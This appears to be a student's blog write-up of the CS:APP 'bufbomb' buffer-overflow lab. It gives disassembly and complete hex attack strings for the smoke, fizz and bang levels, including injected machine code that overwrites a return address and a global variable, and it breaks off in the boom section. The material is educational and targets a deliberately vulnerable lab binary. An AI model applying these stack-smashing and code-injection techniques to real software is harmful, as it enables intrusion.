bufbomb关于缓冲区溢出攻击

smoke
要求:构造攻击字符串作为目标程序输入,造成缓冲区溢出,使getbuf()返回时不返回到test函数,而是转向执行smoke
思路:
理解了getbuf栈的构成:开辟的空间[1][2][3]…[32]+rbp+返回地址
只需要把getbuf返回的地址设置为smoke地址即可(开始的时候因为不理解栈的结构,发懵了很久)
第一步:确定开辟空间大小

00000000004018b9 <getbuf>:
  4018b9:   55                      push   %rbp
  4018ba:   48 89 e5                mov    %rsp,%rbp
  //开辟空间大小
  4018bd:   48 83 ec 20             sub    $0x20,%rsp
  4018c1:   48 8d 45 e0             lea    -0x20(%rbp),%rax

第二步:确定smoke的地址

00000000004010b6 <smoke>:
  4010b6:   55                      push   %rbp

答案:

00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
b6 10 40 00

运行结果:
这里写图片描述

fizz**
要求:这次返回的是fizz函数,但是fizz函数需要传入一个参数,使得val==cookie才能成功

void fizz(int val)
{
   if (val == cookie) {
      printf("Fizz!: You called fizz(0x%x)\n", val);
      validate(1);
   } else
     printf("Misfire: You called fizz(0x%x)\n", val);
   exit(0);
} 

思路:
使用Gets来读取自己修改的cookie的值(跟bang一个套路),自己在这里卡了特别久
修改信息:注意,cookie参数要穿进%edi

 4004e6:    bf 39 ec 4d 37          mov    $0x374dec39,%edi
 4004eb:    c3                      retq   
 4004ec:    5d                      pop    %rbp

答案:

bf 39 ec 4d 37 c3 00 00
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
80 36 68 55 00 00 00 00
d8 10 40

运行结果:
这里写图片描述

bang
要求:构造攻击字串,使目标程序调用bang函数,要将函数中全局变量global_value篡改为cookie值
思路:让getbuf正常的跑,但是返回地址调到Gets,在Gets里边写入我们的攻击代码
第一步:修改全局变量+正确返回bang
需要找到global_value位置,可以打印出一张字符表,使用命令

 bufbomb > buf_table  //输出bufbomb的符号表到文本文件buf_table

可见,global_value地址是0x6061f0

00000000006061f0 g     O .bss   0000000000000004              global_value
0000000000000000       F *UND*  0000000000000000              random@@GLIBC_2.2.5
0000000000402ab0 g     F .text  0000000000000065              __libc_csu_init

用cookie的值替换全局变量的值,先分别mov到两个寄存器,再用cookie覆盖
global_value,创建一个.c的文件,再生成.s文件,再.s文件中添加:

4004e6: 48 c7 c0 39 ec 4d 37    mov    $0x374dec39,%rax
4004ed: 48 c7 c1 f0 61 60 00    mov    $0x6061f0,%rcx
4004f4: 48 89 01                mov    %rax,(%rcx)
4004f7: c3                      retq  

再生成.out文件,再用objdump反汇编,产生机器级代码:

//返回值是cookie
4004e6: 48 c7 c0 39 ec 4d 37    mov    $0x374dec39,%rax
4004ed: 48 c7 c1 f0 61 60 00    mov    $0x6061f0,%rcx
4004f4: 48 89 01                mov    %rax,(%rcx)
4004f7: c3                      retq  

第二步:找到Gets的输入位置
就是怎样引导getbuf去执行我们的恶意代码 。通过return到Gets,读进我们写的恶意代码

答案:篡改的机器指令+剩余填充+Gets首地址+传入参数
答案:

48 c7 c0 39 ec 4d 37 48 
c7 c1 f0 61 60 00 48 89 
01 c3 00 00 00 00 00 00 
00 00 00 00 00 00 00 00  
00 00 00 00 00 00 00 00
80 36 68 55 00 00 00 00
2e 11 40

运行结果:
这里写图片描述

boom

000000000040118f <test>:
  40118f:   55                      push   %rbp
  401190:   48 89 e5                mov    %rsp,%rbp
  401193:   48 83 ec 10             sub    $0x10,%rsp
  401197:   b8 00 00 00 00          mov    $0x0,%eax
  40119c:   e8 b3 04 00 00          callq  401654 <uniqueval>
  4011a1:   89 45 f8                mov    %eax,-0x8(%rbp)
  4011a4:   b8 00 00 00 00          mov    $0x0,%eax
  4011a9:   e8 0b 07 <
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值